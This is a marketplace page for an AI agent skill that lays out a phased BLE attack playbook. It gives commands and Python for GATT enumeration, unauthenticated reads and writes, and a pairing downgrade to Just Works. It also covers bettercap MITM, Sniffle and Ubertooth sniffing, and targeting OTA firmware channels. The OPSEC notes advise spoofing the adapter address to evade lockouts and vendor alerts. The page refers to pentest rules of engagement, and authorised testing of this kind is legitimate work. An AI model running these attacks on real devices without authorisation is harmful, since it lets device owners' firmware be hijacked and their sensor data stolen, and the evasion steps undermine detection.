# Ble Gatt

> GATT service/characteristic enumeration on BLE peripherals, unauthenticated read/write exploitation, pairing downgrade to Just Works, and over-the-air sniffing with Sniffle or Ubertooth. Covers firmware update channels, hidden debug services, and missing auth on sensitive characteristics.

- Skill: `purpleailab/ble-gatt` (Agent Skill)
- Install (CLI): `npx skillmds@latest add purpleailab/ble-gatt`
- Raw SKILL.md: https://api.skillmd.com/api/skills/purpleailab/ble-gatt/raw
- Safety review: pending
- Works with: Claude Code, Claude.ai, OpenAI Codex
- Category: Coding & Dev Tools
- Author: purpleailab (https://skillmd.com/u/purpleailab)
- Updated: 2026-09-17
- Page: https://skillmd.com/skills/purpleailab/ble-gatt

---


# BLE GATT Enumeration and Exploitation

> BLE devices routinely expose sensitive GATT characteristics without
> authentication or encryption. Common wins: OTA firmware update channels,
> PIN entry characteristics, device configuration, and health sensor data
> — all accessible to any central within radio range.

## Prerequisites

- Linux host with a BLE adapter (internal or USB: CSR 4.0 dongle, Bluefruit LE,
  or the eval board of the target SoC itself).
- Tools: `bluez` (>=5.62), `gatttool`, `bluetoothctl`, `hcitool`,
  `python3 -m pip install bleak` (cross-platform async BLE library).
- Passive sniffer (optional but high-value): Sniffle (TI CC1352 / CC26x2 dongle
  + firmware) or Ubertooth One.
- Mobile: nRF Connect (Android/iOS) — fastest visual GATT browser; LightBlue on iOS.

## Phase 1: Passive Discovery

```bash
# Identify advertising devices and their advertised UUIDs without connecting.
sudo hcitool lescan --duplicates 2>/dev/null | tee /tmp/ble_scan.txt

# Dump extended advertisement data (ADV_EXT, includes SID + periodic adv info).
sudo btmgmt find -l 2>/dev/null | grep -E "addr|name|uuid"
```

Using `bleak` for a structured scan:

```python
import asyncio
from bleak import BleakScanner

async def scan():
    devices = await BleakScanner.discover(timeout=10.0)
    for d in devices:
        print(f"{d.address}  RSSI={d.rssi:4d}  {d.name or '<anon>'}  {list(d.metadata.get('uuids', []))}")

asyncio.run(scan())
```

## Phase 2: Full GATT Enumeration (unauthenticated)

```bash
# Connect and dump all services/characteristics/descriptors.
# gatttool is deprecated but still widely available; use bleak for scripting.
gatttool -b <TARGET_MAC> -I
  > connect
  > primary          # list services by UUID
  > characteristics  # list handles, properties, UUIDs
  > char-desc        # dump all descriptors

# Or with hcitool + gatttool one-liner:
gatttool -b <TARGET_MAC> --primary
gatttool -b <TARGET_MAC> --characteristics
```

Bleak full dump (preferred — handles BLE 5 extended):

```python
import asyncio
from bleak import BleakClient

TARGET = "AA:BB:CC:DD:EE:FF"

async def dump_gatt():
    async with BleakClient(TARGET) as client:
        for svc in client.services:
            print(f"\nService: {svc.uuid}  ({svc.description})")
            for char in svc.characteristics:
                print(f"  Char: {char.uuid}  props={char.properties}  handle=0x{char.handle:04x}")
                if "read" in char.properties:
                    try:
                        val = await client.read_gatt_char(char.uuid)
                        print(f"    Value: {val.hex()}  ({val!r})")
                    except Exception as e:
                        print(f"    Read error: {e}")

asyncio.run(dump_gatt())
```

## Phase 3: Unauthenticated Write / Command Injection

```bash
# Write a raw value to a characteristic handle (gatttool).
# Value is hex bytes. Example: write 0x01 to handle 0x002a to enable notifications.
gatttool -b <TARGET_MAC> --char-write-req -a 0x002a -n 0100

# Write to a writable characteristic by UUID (bleak):
```

```python
async def write_char(client, uuid, payload: bytes):
    # Try write-with-response first; fall back to write-without-response.
    props = client.services.get_characteristic(uuid).properties
    if "write" in props:
        await client.write_gatt_char(uuid, payload, response=True)
    elif "write-without-response" in props:
        await client.write_gatt_char(uuid, payload, response=False)
    print(f"Wrote {payload.hex()} to {uuid}")
```

Common attack targets by characteristic UUID:

| UUID (16-bit) | Description | Attack |
|---|---|---|
| 0x2A19 | Battery Level | Read, establish baseline |
| 0x2A24 | Model Number | Info disclosure |
| 0x2A9D | Weight Scale | Sensor data w/o auth |
| Vendor 0xFF01-0xFF0F | OTA / DFU channel | Write firmware image |
| Vendor 0xFFF1 | Generic config | Write arbitrary config |

## Phase 4: Pairing Downgrade — Just Works

Just Works pairing provides no MITM protection. Force it when the device
advertises IO capabilities that allow stronger pairing (Passkey, OOB) but
accepts a downgrade.

```bash
# In bluetoothctl: set agent to NoInputNoOutput to force Just Works.
bluetoothctl
  agent NoInputNoOutput
  default-agent
  scan on
  pair <TARGET_MAC>   # pairing will complete with no key confirmation
  trust <TARGET_MAC>
  connect <TARGET_MAC>
```

After pairing, re-run GATT dump — some characteristics become readable only
after bonding even when using Just Works.

### MITM with Bettercap (BLE proxy)

```bash
# bettercap ble.recon + ble.enum — proxy-capable on supported adapters.
sudo bettercap -eval "ble.recon on; events.stream on"
# Enumerate target:
sudo bettercap -eval "ble.enum <TARGET_MAC>"
# Write via bettercap:
sudo bettercap -eval "ble.write <TARGET_MAC> <char-uuid> <hex-payload>"
```

## Phase 5: Passive Sniffing with Sniffle

```bash
# Flash Sniffle firmware to a TI CC26x2R LaunchPad.
# https://github.com/nccgroup/Sniffle

# Follow a specific device (37/38/39 advertisement channels, then data channel).
python3 sniffle/sniffle_host.py -s /dev/ttyACM0 -a -l <TARGET_MAC> | tee /tmp/ble_capture.pcap

# Open in Wireshark (BLE dissector built-in):
wireshark /tmp/ble_capture.pcap
```

Ubertooth One — broadband BLE capture (less channel-following accuracy):

```bash
ubertooth-btle -f -A 37 -c /tmp/ble_ubertooth.pcap   # follow on adv channel 37
ubertooth-btle -f -t <TARGET_MAC> -c /tmp/ble_ubertooth.pcap  # follow by address
```

## Evidence

Save all GATT dumps and captures:

```bash
EVIDENCE="/workspace/evidence/ble-gatt/$(date +%Y%m%d_%H%M%S)"
mkdir -p "$EVIDENCE"
# Dump GATT to JSON:
python3 dump_gatt.py > "$EVIDENCE/gatt_dump.json"
sha256sum "$EVIDENCE/gatt_dump.json" >> "$EVIDENCE/sha256.txt"
cp /tmp/ble_capture.pcap "$EVIDENCE/"
sha256sum "$EVIDENCE/ble_capture.pcap" >> "$EVIDENCE/sha256.txt"
```

Knowledge graph node for a found credential/key:

```python
kg_add_node(
    kind="credential",
    label=f"BLE GATT unauthenticated access {target_mac}",
    props={
        "key": f"ble-gatt::{target_mac}",
        "secret_type": "ble_characteristic",
        "mac": target_mac,
        "characteristic_uuid": char_uuid,
        "raw_value": value_hex,
        "pairing_method": "just_works_or_none",
        "source": "bleak+gatttool",
    },
)
```

## OPSEC Notes

- BLE connection requests are logged by the peripheral's pairing database;
  repeated failed pairings may trigger a lockout or vendor alert.
- Just Works pairing is visible to the peripheral; if it keeps a bond list,
  a stale address may flag re-pairing attempts.
- Use `bdaddr` (hciconfig bdaddr spoof) or the adapter's random-address mode
  (`hciconfig hci0 leadv 3`) to rotate your BD_ADDR between attempts.
- Sniffle is passive — zero RF footprint beyond receiving. Prefer it when
  the RoE explicitly prohibits active probing.
- OTA/DFU channels: if you can write a firmware image, gate the test on explicit
  operator approval and a recovery plan (jtag/uart fallback) for the device.

## References

- Sniffle: https://github.com/nccgroup/Sniffle
- bleak: https://github.com/hbldh/bleak
- BTLE-Sniffer / GATTacker historical MITM reference.
- nRF Connect mobile: fastest manual GATT browser for live engagement triage.

